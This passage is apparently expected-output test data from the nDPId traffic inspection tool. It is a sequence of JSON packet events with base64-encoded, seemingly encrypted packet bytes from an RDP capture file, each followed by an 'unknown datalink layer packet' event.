+00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1866,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":839052,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9I5dHodLHUBAf\/gvNAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1866,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02081{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1867,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":839242,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjckAAfwYhZcCoAo6sEAK5DT3NDkeh0sf5vSOXUBD45yGpAAAXAwMGbwAAAAAAAAJg2\/KV1YdWnsxa+B37kUu53EA8RuxTuVcTQsrfyK6\/eVeZJaTAFShsY9DIsvUuDV1etpBi4s8JPzUDYA4z3LZCDSTrhiUxR95x0ANtp6FK0psLwPYpnNTMJsSqHCs\/W2V7g9nCOELMdKd+VZj7zm15PK4dIkxFMPGDDQDvqFts7MZE8oAjSInwJluyza2zOD3ansCk1RiAr\/2i7mDbmwvEdp9HecM5Km3OXqlAJPn5RdZTVjKur9IuXiK8xOIIhK4twr8Jf7pQXpDN02LsRalEIzQVeNXawsV7gCC7Ie7eRX0V7sVqVB9TL2AQ6\/CISHb+k3xyozXaAWqWkrDEww3wBd776sL1UurcswTy+aaO5rIGWO8ZmMhCkEIFdL6QPI3DXqapgLKp5eY\/0hEpxernq3ZM5p2WMfR2ocHe0dD4+ZPUh9u8hLiLTQWBuaFFRF1cw7fJ1sk7MvvF4Ox\/SoijFGG9X62sgBB6yZCoVHFzbBHr7yntXJVC3PZz9oeuo\/G8mF45EQHug6q+1ZtdSBH7WhMtJvawPMY02LWY3l5QFCryao6UavaLL6sm3YL\/Kn9PoQEdb3sw2dO2nExKt6s7RcsHYm4pX1vkHC8Bi\/Jef9VXzw1dOrJvbll9vBE+OeH3LiilrNPpcJJgXrgaiZXCynYhBk4YM9jEAOU0iJjrvRozjhlUM9PJFACuUhLfIBDpTYsjb7b01QfAzAQHlF\/8hIQzcoNhNT7gk6mw\/c07IOI11jViAV1ppH8NNTF8MySFXarSdWHGDO3aFKns0zafoDaP72VQwdPHZWrE5VWb4QeiEPIPNHhJwySb9wBr3M6J2wk7uuyGOmUqKM+prZEPy9pPRRVmZJ9iHSnEbdj\/RIQVd1Z3+CJRNm3Qf\/EGuvi8oJ7sinXUwVL+r\/HRwC9nVqInzte+\/z65NgjI+IR1WB0fZzh3HaM7Gp3RcT0qB84kiSjMN3la7PwZCzk2ozJMm3wGv2OlwuaLVPOhqB4DS4+SZyH+ekVcuuWPG7dWPxQWMHnJytlTcnlt3UZVyj\/gDJD16hb2ET1PbtvCkLiuEwVjWpUWjhiyxe1R7NeuHn8H9d5FxYxNXrUSGN\/leyyaQOV3OyA9m+qiduyFT6D\/3yT0c2A1EvythzWd+jUkkRhvBUpd0ZKQX9+0oxJBt5Nrpi8+e6uby6lEH+UKl590SAuTFWX3THEGXTcLoP+F3tqkNLDIsPQmOhgsAGHm8KTY3n\/dBFQ+mAC6yDuEIOGtJgCp8ItfeokcL+thSPAdI0r1Q3czZpGAbv+a+3UOL+us4WYmpkuzWgRiYQ2D2iB1JfUu3jlOxKQ8Vx9jxwvY1RHU6LvB8fDMBug4AzHo\/RimLZd5uLjBQwaDqWn40+v+\/wQUCWRBZ3lyP8woR9uyqDd5hNKkC\/RueL45dGlxcPvJ81AVKTDc4LQFKee67ntnd0pxmSk20PJscYhJI\/fHmd9nNSGcSsXni1mZ5gyWeEecEDE14OvFZmXwC66rEea+RfYXsBDlirjjJB\/KnDvnKAHxy0LCMEhR6DagEs\/fnBl3cF4ziev7LKrPXBZaLCxVN5HFb0SQ99KmR8yoSUgsN1FeqcnfNrSDzBx6sF\/aXqpanCF1oXNFfMn3YjQQa1t\/a0twniJKX\/jyZC6GyBvPJFR\/7XrojRLUaKt8pVgW"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1867,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1868,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":839285,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjc0AAfwYk4sCoAo6sEAK5DT3NDkeh18D5vSOXUBj45wooAABdks\/57SVVr6TJSNs4fjKIMcceFb4Djv9wqFFDQKa6GzYMsg0SBvCTyyIztg3v5plU\/YFtJNdeXFm5ElW1xpecK4p367f6dDwUKuN2N0JJ0UNoaUtTtMrVXgydV0v\/d5pKHIqNdOJvXNfjrnTxxx9U9+pclpzUzf8ChNYKG0agNgFtrlBIrJFF0EzUEz8GCWuSMgjR8F\/yM718XPqeirENFWMkiJW0Yt8VrOt2b4Ae9d9aXN7ZnyowyFq\/jd1Jo\/1r2bjIAa6aCFATGA\/fqZ\/B5YjY5H41ucrqN2epHI+CMUdWp+O6MQ+NwPguijQhaDg+tvUfdafFPbblAu3f0hsTGCTBEQI+SkOhcpRgwSea1l9aukz\/bqbC9GkqwdjJbxVOL6vQrjpdzaiIUvbjjPecRS8n8b0oRXZNeEuLL5NvfC9A2BFUKDWpCUJ+MQ9deQcHWTCBfpcRDQVe9+ASm1zmyZDFFgxKZQVVzeFBoXBRGbXCxvvIegQn306t"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1868,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1869,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":839326,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9I5dHodk7UBAf9AVjAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1869,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02087{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1870,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":840092,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjdEAAfwYhY8CoAo6sEAK5DT3NDkeh2Tv5vSOXUBD452FUAAAXAwMGbwAAAAAAAAJhrjhLR5yGKRQ8IYG7QfZsXlo+LMykoDodwxl0UDk1Qauy+n35J6jsiu1VHcvUsYvHzDM6McyatzZQfSg4nc\/uiUImhYRN0Ta7jam9npjAqNVBUdjQzLcLnESvqbNS\/2G\/o1EBY7SpoPYmDZxwv+MF3U\/tism\/cb6JOxCXWrm4bJAgwlieKJX4BYvWWMFwW7ryQR+r\/YgYsPl5eTtNeGhC46h6ZrCgZ83Wib7KlI6P8FC7WYJVq\/TF9ryIndtuOLDg1F+k7459NO35++wo266hnHQfNzw0U1PXxKTVfGOKS40vu2\/rLaT+wGlpmm1K7HVUfwHfCRrHu7U5QeVeyK85LFBMSoALfQR7mU4D\/qN2ZEH054Lw5mwd17z4B9yyTPHQ3eVo6nz\/vvCuX\/oG0RQS7f7VbOH87hNW6RRdItIwp2tgK3zmnF1V\/ezhsKsb5saeNY5yCMB+vi3Y3Kou39Brmib0CMiQbqT1GbKqyoZnAXw4ZurVmnwHz9w73+uBY9PgwTHbumGF9HQKaiwmTPkJlxGlVCdnLJkVK9ewoPx0Denr9P03dM7CuSKXKodofmGCA5SJsx2l\/C7FcWC4LvYW3zVgSQQyyW3EFGdFr8mDbG+5RIIrRSzxdh7SdgwfR\/xi6H0e78rcC5334CwJv+XZ1j0U4yhzLnWmQPnPigFB83Iz6spOfUMIx+QNIBdtWCl0rwFA8oh8ITld6\/NO27xrgdgr\/HG7mlnd7fGAcdHCAnyX+rxQ\/IpSkSF77H1FJxXlWeM8h+5\/W05IprVt2E3fd\/JpTBwSCjPjpdAm\/TSZW+HI\/3Uetm59XS4sCUKDQGfHkUbpC0yYTJaCh9UI\/fi+\/ea\/mwCLuus+An2tMt1ZCiaPpX7CV5obroB3+tqbf6OYQERp9\/we+2jcAJzTCzig5AMRTsno2o3uqy1Lu+abAyll8MlXw4\/IWbNh9rGGBUe+UYyEbaUddhp069rP9OMW6DHbCtcndKHcBLnVqzoZjlNIt4SfQkqpP7zuBfUa6F\/Wb\/dRYq\/x3gXiWDwVz16uHNTk2FdXfxIWvrFMBbPI\/V+Ly7uqVtraOkYhJBUp10vYi9hvE6UKd4Pb1685C2bSNrSWlfO+r+lA75mQUhuwPMK8x4BP\/frYvZpg4L8UY2kwyRTy+iSMADYZO\/GEYvE8V7Eu\/WE7Q53gpV7JWGhVKQxE5a8G6cy0zOkDo2HRJ\/mJBXVwAgMLjVKMUGf5l4lg14RemLgAszq1FTva\/Ba2PGLu6MvD5GzCbFzQpVgYqQVAB2fTZzfePyDdXfubfSO4+rX923w1Eihnw4BX4AScHZNErP4kST01oFnMTiHIvlw8DeEWBhGrb6CmoiDwfqnOPQuXEQT3sE48m3Kd+TK5xNtJNaGBx2ExRx6Z4yK4eXL9vJ2N7nAD94Xl39oOsb6IqN5IdflyXDkxFjWMxmraY1L6D1ol69RAtszFaqF8FKWysQuqshh8rBvgo8WEePbh+FQW4prbRjv\/FW9mQppt8pM0Q8UU0aQCWcBHxpfgfA0y1AfltXQh0dJwxPSVLE4CHNm8pWMebFBn35ODZXp06zoeG7v1c+fb0Picl4+XhBJRoLUjlbWZOC5FaaU3ug5hLyZVYXMw6ebeSExq+Aof7xTMvacmYiVMORKl73NNszKbOeiHvEtYYpf3HTfe"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1870,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1871,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":840124,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjdUAAfwYk4MCoAo6sEAK5DT3NDkeh3jT5vSOXUBj458tWAADIINQKj3Y53aqLcPJXWtsWa5VxRnQhgj+CIPin7atNO+DwJqqwWAGeatSOMlh9JR\/zKV7o9y5MwYxkfvtrhttSN8yHLjugwF6x3ra3dlwhMNHX2pOdJChBF4CZiw5Cs0hxNVImqERSyOxX7q9ZwR34NcR5vTEC2Yi25rxtmn1iDXP8eoyb\/J5XUkOno97Y7byFEgR0R5B3cb5aIkRhwpyQEVHTHRU53unm3yQQD8KoEKM3xO5by6cr2sbPwTXE+7KCRC+P8NyiLT6klPzbOaj1o6EvnmdVaUbF2t9WieGf0MICaLlGEHOSgluJU0\/hMv8JbWo7TlyLUe+dnMVCwIC\/gtAXrqqfTNLDMfyMZpIi7+GvctnrhVZXFfDTdX38lGhnw+cNlpCY7ANukJ3J\/eV9SjnAozbv82hk5PTtLbEsxplh5vOzD2UL7bC9SLnbBFTo6SG8VdnHgtgtmwaSbUe0B+TUg29677S4Nluwf2yDIRWTEk3wqVHpti8Q"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1871,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1872,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":840164,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9I5dHod+vUBAf9P7uAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1872,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02072{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1873,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":840399,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjdkAAfwYhYcCoAo6sEAK5DT3NDkeh36\/5vSOXUBD454xlAAAXAwMGbwAAAAAAAAJiKKqMieFQk74UGLWsy3mvxpIhdgbxeEYFVfUqonfWiLVbgkhBM5lneMEqgFoMeXjrY3Mmy5V+JV\/fco2v8FitkWYYOs\/OnwtOOabMtNurrUxiSglN3YwD3C4drLjwblu90KIzASQ5YEWpEquthzjIC9Us6VxGCIefIKy5QBy8ni6RQXQ0e\/s5LHPHbiKHAL5OnnHU80ElF6Wmqxg5NceaaU9bhT5a3T3wWw5lGZG7\/DYCA41vy1pbxRyUcTtbpPbVPexraomGbEMLwaKVlZA3uhJlw4Ukq97yfHZhQNZXD36exTQItC3oU4X9djCCo7KvJUo9GqwdP2FphJzdHir61cGjh3N+qsUDLNNCv82BNm94rwLdj0e8KzybNGDEBfzIwKxUarEqhRbGVfy0ADvB3wl3L\/3mGnfRmRSfm\/nO2ubnzNtHfGBP3n+M0HUFPpXcySnhZe+J8GLes7uSC6lXBJpLjsHvOAkNc3B\/Sfq8u1PCGk1TbdR3DVcE6Uu3z2auJPEfGeX+oB\/BNCJaIpEduuSAL957RtpWquPh8MaqrCpfBXkrgUup1VlP3TFlSn97psD8TgMBpU4UWDf08t\/M28B7no5CLZCTFbrqlCnz+SHhoTVo3X6KICV+oYAG8HeUwMkHgKtDFB\/6PJf7+Bl3XhoE2wARwkwwmwcS0nFqYMPnEl6LjJQesPzZcXnKQgd4vAPwuu4m+S8vZ6+5RpE63udbOZOzxw8RWmPfsWNUdMrWpwkTCkZ6HatQDlIBgNkocgEW7VTPS0zqcayL4kKqHUhNb4hPLh\/VNq8X5HPz2YCHyvmYCb3f3048806GRJP3KAXeq2cRAnL+mqBQabbMn4lWGG4xjf1yrlPnd97+UsP3lUJbgcrI+J\/Ih7nu8OzVAfhFBuJMiWBNfuk\/9AWdv0A9EuqyXxFH6Ydty50OB82OsSESz1cR1+v\/AjtYIOW++ZH1BPgJPj6KwIzqWaDpSIBEyK5NmJBHw4XspRwBsHyOMWYN1ec8yK0DDfn76beu9ode9iw+ccOHijjITz+czCjQ3WZGU86Kk5DPYnxEPV5LQIy0JUwKjetMRAj+4OxIOlFzjrBluYPjjVLsvB9H0iaQo3YvjrjrbMIFwzEXumjP7V+0vs5X1Coe3+XPTlqN89BDe+y0TS0wpTDBj4I4pQX0OhOi0oi\/v3Uygs+85AIcIH8rAQUZG328jHLAtnqxuGqLFLAlWsW4oWwckoU9izxrBuKl1+TAuyXQMqO3UVo22m70ch2RazyxBPBO5zx0Q3mGlsg7Tdsv4P\/ZDRMRFVysXXtp3U6aFMMKRBBqkltzhnMzp5FQ6LIZzZjbi8qZ87oPW5tnKBks\/SV+KtzQ2JCzdcHWIVd9nbsLuqS22Svu5+BrOAv+RR6ud5lMq5DCjOgTcgEanw143nTT82mUazqLvE23NOmnV3reKPAEL\/w8BgwuhCK9GLvVVm51imhAxM11yiOobuxgeHU3G\/3e+0hLU6miI2QIDRdtVX1fZQ7ID\/mwTk3bJfBev7AvwCXTsfLwWQ5bz3AlMCRcu9atPlJT9Iwbq9EpRgPaJOUfhSBwFi1ggUdKueoumRliWssrjFgXHmABdjZaTzYxj3U4y98TFgXfv7e6tBNKHRRqJBc1qAf3ou6a23z2x1h9KiseznX93lCGUKo7JrLR"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1873,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1874,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":840429,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjd0AAfwYk3sCoAo6sEAK5DT3NDkeh5Kj5vSOXUBj4561fAAAmFrukchlacagkLY9mg9vwpHZJ\/6iUzj33kSpp6KkuQw2\/xvoTNOAF+NuApHtszOjxMihhsDDBMtkeDf1lHpurRKOwxxzOJksBLnJD7RwO5\/yyXqduQsAqrZY5VMxM+bmOCmN3hT+ZhKC7WiC7UmNNvNLIzdTztEYUBnSeODRyll1gqorD2Li53MdQDcvkW1Zo4+qMO7IHC4egpF3+ExQMjObLuuyjNx9Oo\/zWi0BLF0CSfIVVyobskzgxPdeWJcV0RYK5TwvPq9qpy365XfkDOK7KLC3hFsWT1iPoTE+cWdl57F53kQ71+EQOYS352z3tWiXs75s46+0cCon\/0b2nt5ReI9d34rKCPvmBA+LBTrhQEpqX3QiMR5D4giAJZ+0n+SczFuboQmKQUrKKFFHdztCXBuxmiG4KpExyS4h9miJ4MEYTjcpKoTrt1SE5k0uSJe4l\/1Iwozcvn3Hcej1WGX2+pYcHtNuhroLjPMrm+9faL2zvzMR2XKvU"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1874,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1875,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":840476,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9I5dHoeYjUBAf9Ph6AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1875,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02071{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1876,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":840900,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjeEAAfwYhX8CoAo6sEAK5DT3NDkeh5iP5vSOXUBD457iPAAAXAwMGbwAAAAAAAAJjD7vracTIWnrr0C+6V41s6PfyGS4UBZ2osnfZ9aTSLQZbpYH1VMFJlJ91G+mjKS\/nsnGZB1BQsH475M3U6egjouylV4dnjizXIBg4Yumo\/WbHL5HGZdh+Z847dlRiZNJs5CUhaJBZA1fUBeL4kTfPwoVpulJ+VnLuJvs+ZvoCB57r6Qqzo4WaA9gXIGwD+fKmOxGJSDiDI3NKeYinMgSnMnDHzPTSlhEnuJE4xpNJjtvjfQzPJrHKXs7lw1kVdPiBSdtchOpaNNv0HqNlidm5ctcJp\/f1pfCKp278QwuIfKEo0KwIkgpSavtLKJXCtW\/AEsVOCTGtZFlMxmcEfXOP5nhK2G8wy5X3udI0J9FSrHoB15XGlfyTgGt4DRI4zWFWrtM3FYOhhoLSPaFE70oYYh5CaJ+OJJKipolyLHKWFv1yJuzuqPGI8FInKDdnllC8Z9VbKeeUkeObudTG4f70dmwg0XQXpbqpsBwj5KXfSZ\/gHi91jz0NXdslPo5XMLraz5QYQXrNrUeoUrEg9RlyU1wlNpKu8SvfueN5vwfxMQ0N0XZntwHZJmZMWSFWx6mZ4WQfPbkjLRpGK+FeDLpVDrEUk3Xkvcvb5dAf3uNQLRS12HUbkPbArcbQHg9dhCFTJYCDRHUgHeOKueCEb8T5SMHbDNNV9qHlABRhYmbvOIgwz4VVGnKglvzsjBZzc9B6v\/sZAktmDDMUkfx1weP5+6fR2WnlwSlH7yulaJG1U1H16pBocmO3Ag9kwIjEA2OuNk+TGQCVbQxOr2iy+usnkbAim9hB4ACV7qnmxvUPrwgnS1ZlcPa8xmgMAY5rx0tCqHd9GHXKDge9Aj3LsfPhr84q\/vokTSZ7qrw5Yb5KhNkmLZsJgGMkNpqDTzXncLcajLVtNM35vM8a+tqtZFAf69bBR9eJCVdgLd6tRsv1G7Lukqiuuk95KDd9DUAEPMQ4Rb1LyqWJFew\/eo1XthHyvnAK8p9kO2UsTPvhbCcm7X4MowqM5Tk6+YA6g0F96Lgn88kKtUZK49z7WPWJ9RROUKwPQCb\/zD8vKEY93Y48G\/PwMNJJst9LsNJlFnE34j6dDgFABEmIKa2ObKvc9liEEX54czdibd5eiV8Ub57+ltwVTEfaNyE8O+c8CH93TZf9oawvy8T44jbhy2g8euwH7CY1AJ3njOcdDypwXTKFIlTz2AC\/ZD8UHoBNh1\/f8pPu2L6sN9giRP+no5LRQPA68H2CrnH6oszl4mrjO53r+K0GKgpiMa28DCWWeY1dPasUsL2JzDVCRSlH\/fd7W03feFSo+cKj34ifJihR2c2ue2QmHpIXDKSOeWmMVtO4J9jv0uJgIgpXQQ5EHL1fkitIbkSccV0Q+E63BbDfcmH\/lsmErrhWfYFxcj7YtFQZ8StJ2stZSfRwwI4baLQMcrQqKEmWo4dLBkrmfs0koj\/eHigjFFywH\/YICdy44k6xWA4Q40jctJ1ih\/uVh0lkNkBldVISN5gdaPNj3plwSBwtDFu6WP7mIVxgg+bGOyAdxqUXHFQEHPHNPElPVbIpItnPQZtifzcKbYsqafgQCD5aouuFVNWZ7Wpped6XrbidWSJ2l4nzU3DqVK8\/Ak+pBIzcNlWwrxS2hJ\/P2C+z8sBzXL7CVL+Q\/87BfIMw6mL89PGNR6nhlEnEIqynwwNn"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1876,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1877,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":840942,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjeUAAfwYk3MCoAo6sEAK5DT3NDkeh6xz5vSOXUBj457IZAAB0w0lVlTmps5tGEltPTZNAxk3XPDryjB\/gCUJXhuHvtuLwMW+ajVgKGSn9g5c6uE46dPh+uzk55foB2FDK3I8I7wji3U7QIi7tCEp0siusdTkvGrGr9418CK96\/2smJlhjgSbvyGgTkH22jPyw04ecIG+4K\/rUJ64QmMoM0+DtRONs57CFLWSOEu6HCGOUuBLNSoxsdvGSFnOW4SEIy+k8v+xgU4+EbWGsi5ZGgLewuDyqQLMhblHqra8c8ulTBBhPnWzF0hoSCsL35zVOKHzyhmhB2det7wlSzcTxfLSI6+40iOb3PGXrxliLQK1pdiJb6cHtfJU5DtJu7rwaNV\/bUyuTtQO6Lj8g216vFi7o2FWG1n3Ni\/ixarfvo2BESHPZjWmbt\/ow2msIaK7Z3f8jD4UO2MUtN4wHbCdD51PINAvyizyy2vGrsW+IVWtGeCoKRG520dvmqBY8wlDI7DnuA4de0wnEWvovTY30d+HpoRQxIMYrllyD6\/2j"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1877,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1878,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":840989,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9I5dHoeyXUBAf9PIGAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1878,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1879,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":841416,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGVjekAAfwYmGcCoAo6sEAK5DT3NDkeh7Jf5vSOXUBj453DTAAAXAwMAOAAAAAAAAAJkdTSaiQGnZszD6PIF9WmTACpfw2xlWcY7YvMsS2poZ60cohQlooDujaKmQIAEfxo2"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1879,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00353{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1880,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":841698,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9I5dHoezUUBAf\/vG\/AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1880,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1881,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":841809,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1je0AAfwYmIMCoAo6sEAK5DT3NDkeh7NT5vSOXUBj45\/8\/AAAXAwMAMAAAAAAAAAJltZ7rlwNoSjnRE+vj1SmLpR4VzBhS6nwnpexnYKj1ogXlLy6h0ZNP3g=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1881,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1882,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":841859,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9I5dHoe0JUBAf\/vGKAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1882,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1883,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":842088,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjfEAAfwYhW8CoAo6sEAK5DT3NDkeh7Qn5vSOXUBD455fOAAAXAwMGbwAAAAAAAAJm23i7vihGVzL1prq37NMKBB08nV+aQ+mmosyrfTzPupVrrUdQ5idc8vQuaUWC3fmA2fxHXgIIcT72X8ONsYGEzCXjJ6Sl4qRrDH8ujeDqlHXy1nsBlbOBzB1gs3MgQ7RaB7Lnqva12GSgVPRf4L1qj\/OOdThmgGEIhNIrv2we2fBq\/IQasm2pVTvnTDNPNE7niAqHr4fzlIoyFWe4d9zFL7lSqZwM9qSfI218JCrMHhMkc2FEwsHskTGyjoLLxiP6DUeAO3to4x2WM+9r2L\/3EOWwFHoCS2Lj3oc5tYhhs1\/m+6JqfC0nW2Aqa4ttGgCWgthQNB81xJaOyZ6rM\/nQCpW\/kTEz5YgIFiYoAAZAwwG7oLK5AHzQuVoRUVUDBoJN9zqIy29n00F09yQyWcDcnoauzCsPPnPuC6Qq7GqKS3gmTGoJgMBCbLNmhdyx0oWWi+LreeAM69DwkNBYnHMJXB149QgYokFpsUiwqecugn9Ft6STmVhE7qrUiNd\/MmWxt0SYws0Hsz3plfnO3Q\/Cpxo7RbZiSUZC20E3lusFMxBjAVSqy0HTBmhgxtJAwoVg1IORmkb7IL0yWPH